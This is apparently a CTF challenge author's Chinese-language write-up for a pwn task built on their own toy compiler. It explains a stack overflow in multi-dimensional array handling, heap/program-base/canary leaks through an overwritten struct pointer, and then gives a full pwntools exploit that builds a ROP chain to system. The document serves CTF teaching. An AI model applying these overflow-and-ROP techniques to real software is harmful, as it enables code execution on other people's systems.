0%

Compiler出题思路

Compiler 出题思路

本题目是一个我自己写的编译器,将其包装成菜单,并提供了以下4个功能:

1
2
3
4
5
1.get IR
2.get asm
3.get bin
4.input code
5.exit
  • 获取中间代码
  • 获取汇编代码
  • 获取二进制文件
  • 输入源代码

由于 “获取汇编代码” 这个功能会被逆向题目 SycLang 利用,于是本题目不提供 trans_asm 文件

1
2
3
4
5
6
7
8
9
10
case 2u:
sub_CB6A("translation Three-address-codes to Assemble-code");
system("./trans_asm");
sub_CB6A("done: get demo.s");
break;
case 3u:
sub_CB6A("translation Assemble-code to Binary-code");
system("gcc demo.s -o demo");
sub_CB6A("done: get demo");
break;
  • PS:这里偷个懒,后端直接就是 gcc,同时这里也提供了 system 函数

漏洞分析

本题目有两处溢出:

本题目在词法分析的过程中,对符号的长度和数目没有限制,但符号表却非常长,在这里进行入侵不太现实

1
2
3
4
5
6
7
8
9
.bss:0000000000020001 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+qword_20001 dq 30DBh dup(?)                         ; 0
.bss:0000000000020001 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+ ; DATA XREF: .rodata:off_13000↑o
.bss:00000000000386D9 ?? db ? ;
.bss:00000000000386DA ?? db ? ;
.bss:00000000000386DB ?? db ? ;
.bss:00000000000386DC ?? db ? ;
.bss:00000000000386DD ?? db ? ;
.bss:00000000000386DE ?? db ? ;
.bss:00000000000386DF ?? db ? ;

另外一处就是位于多级数组处理的栈溢出:

1
2
3
4
5
sub_427C(*(_QWORD *)(*(_QWORD *)(v15 + 104) + 96LL));
if ( **(_DWORD **)(*(_QWORD *)(v15 + 104) + 96LL) == 258 )
{
v18[v10++] = *(_DWORD *)(*(_QWORD *)(*(_QWORD *)(v15 + 104) + 96LL) + 40LL);
}
  • 这里原本的逻辑就是记录多级数组每一级的容量,如果多级数组的级数过多就会发生栈溢出
1
2
char v18[6]; // [rsp+4Ah] [rbp-16h]
void *v19; // [rsp+50h] [rbp-10h]
  • 这里的 v19 是一个结构体指针,其目的是为了记录以变量为索引的数组(例如:arr[i] 中的 i 就会被进行记录)

下面是这个结构体的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
union Value {
char type_id[32];
int type_int;
float type_float;
char type_char;
char type_string[32];
};

struct Array
{
int kind;
int index;
size_t offset;
union Value value;
char name[32];
struct Array *next;
};
  • Array->name 存储有该符号的名称,它可以在多个地方被打印

由于栈溢出,v19 可以被覆盖低位,进而将 Array->name 控制为我们需要的值

本程序有两处地方可供泄露:

当 Array->name 与符号表中的所有符号都不匹配时,就会发出报错:

1
2
3
4
5
6
v13 = sub_33AB(v14 + 48);
if ( v13 == -1 )
{
sub_3373(*(unsigned int *)(*(_QWORD *)(a1 + 96) + 200LL), v14 + 48, "未定义,语义错误");
return __readfsqword(0x28u) ^ v16;
}
  • 在报错中会输出该符合的名称 Array->name

当 Array->name 与符号表中任意一个符号匹配时,就会将其输出:

1
2
3
4
for ( i = 0; i < *(_DWORD *)(v11 + 4) - 1; ++i )
qword_19180 *= byte_19310[128 * (__int64)v7 + *(_DWORD *)(v11 + 4) - i];
sprintf(byte_190E0, "{#%d}*{%s<+%d>}+", qword_19180, (const char *)(v11 + 16), *(_QWORD *)(v11 + 8));
strcat(dest, byte_190E0);

入侵思路

先通过栈溢出覆盖 Array 指针的低位,控制 Array->name 指向一个堆地址,进而泄露 heap_base

本程序在拷贝数据时没有进行初始化,因此有部分栈上的数据被拷贝到堆中,这些数据都可以通过 Array->name 进行泄露

1
2
3
4
5
6
7
pwndbg> canary 
canary : 0x2ece71e5ac86af00
pwndbg> search -t qword 0x2ece71e5ac86af00
Searching for value: b'\x00\xaf\x86\xac\xe5q\xce.'
[heap] 0x55f0ee3be940 0x2ece71e5ac86af00
[heap] 0x55f0ee3be9f8 0x2ece71e5ac86af00
[heap] 0x55f0ee3bea30 0x2ece71e5ac86af00

获取 heap_base 后,就可以将 Array->name 指向更大范围的堆空间,进而泄露 pro_base,canary

最后利用现成的 system 布置一个 ROP 就结束了

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './trans_IR'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 1
if local:
p = process(challenge)
else:
p = remote('119.13.77.77','2102')

def debug():
gdb.attach(p,"b *$rebase(0x72EC)\n")
pause()

def cmd(op):
sla("5.exit",str(op))

code = """
int main(){
int a;
struct test t;
int arr[255][255][255][255][255][255][255];
arr[32][255][255][255][255][255][a]=0;
}
"""

cmd(4)
sla("input code:",code)
cmd(1)

p.recvuntil("第6行:")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
heap_base = leak_addr - 0xa970
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

code = """
int main(){
int a;
struct test t;
int arr[255][255][255][255][255][255][255];
arr[48][255][255][255][255][255][a]=0;
}
"""

cmd(4)
sla("input code:",code)
cmd(1)

p.recvuntil("第6行:")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
pro_base = leak_addr - 0xa10a
success("leak_addr >> "+hex(leak_addr))
success("pro_base >> "+hex(pro_base))

bss_addr = pro_base + 0x19040 + 0x200
system = pro_base + 0xCD92
pop_rdi = pro_base + 0x00000000000125b3
success("system >> "+hex(system))
success("pop_rdi >> "+hex(pop_rdi))

stack_heap = heap_base + 0x11f20 +1-0x30
success("stack_heap >> "+hex(stack_heap))

#debug()

stack_heaps = []
for i in range(6):
stack_heaps.append((stack_heap>>(8*i)) % 256)
print(stack_heaps)

code = """
int main(){
int a;
struct test t;
int arr[255][255][255][255][255][255][255][255][255];
arr[%s][%s][%s][255][255][255][255][255][a]=0;
}
""" % (stack_heaps[2],stack_heaps[1],stack_heaps[0])

cmd(4)
sla("input code:",code)
cmd(1)

p.recvuntil("第6行:")
leak_addr = u64(p.recv(7).ljust(8,"\x00"))
canary_stack = leak_addr * 0x100

success("leak_addr >> "+hex(leak_addr))
success("canary_stack >> "+hex(canary_stack))

canary_stacks = []
for i in range(8):
canary_stacks.append((canary_stack>>(8*i)) % 256)
print(canary_stacks)

bss_addrs = []
for i in range(8):
bss_addrs.append((bss_addr>>(8*i)) % 256)
print(bss_addrs)

systems = []
for i in range(8):
systems.append((system>>(8*i)) % 256)
print(systems)

pop_rdis = []
for i in range(8):
pop_rdis.append((pop_rdi>>(8*i)) % 256)
print(pop_rdis)

code = """
int main(){
cat ./flag;
}
"""

cmd(4)
sla("input code:",code)
cmd(1)

binsh = heap_base +0x199fe
binshs = []
for i in range(8):
binshs.append((binsh>>(8*i)) % 256)
print(binshs)

#debug()

code = """
int main(){
int arr[255][255][255][255][255][255][255][255][255][255][255][255][255][255][255][255][255][255][255][255][255][255][255][255][255][255][255][255][255][255][255][255][255][255][255][255][255][255][255][255][255][255][255][255][255][255][255][255][255][255][255][255][255][255];
arr[%s][%s][%s][%s][%s][%s][%s][%s][%s][%s][%s][%s][%s][%s][%s][%s][%s][%s][%s][%s][%s][%s][%s][%s][0][0][0][0][0][0][0][0][%s][%s][%s][%s][%s][%s][%s][%s][%s][%s][%s][%s][%s][%s][%s][%s][255][255][255][255][255][255]=0;
}
""" % (systems[7],systems[6],systems[5],systems[4],
systems[3],systems[2],systems[1],systems[0],
binshs[7],binshs[6],binshs[5],binshs[4],
binshs[3],binshs[2],binshs[1],binshs[0],
pop_rdis[7],pop_rdis[6],pop_rdis[5],pop_rdis[4],
pop_rdis[3],pop_rdis[2],pop_rdis[1],pop_rdis[0],
canary_stacks[7],canary_stacks[6],canary_stacks[5],canary_stacks[4],
canary_stacks[3],canary_stacks[2],canary_stacks[1],canary_stacks[0],
bss_addrs[7],bss_addrs[6],bss_addrs[5],bss_addrs[4],
bss_addrs[3],bss_addrs[2],bss_addrs[1],bss_addrs[0])

cmd(4)
sla("input code:",code)
cmd(1)

p.interactive()

出这个题目之前正好在学编译原理,我当时在做编译器 Lab 的时候就遇到了溢出的相关问题,于是就干脆把我做 Lab 时写的编译器拿出来改了改,弄了个 pwn 出来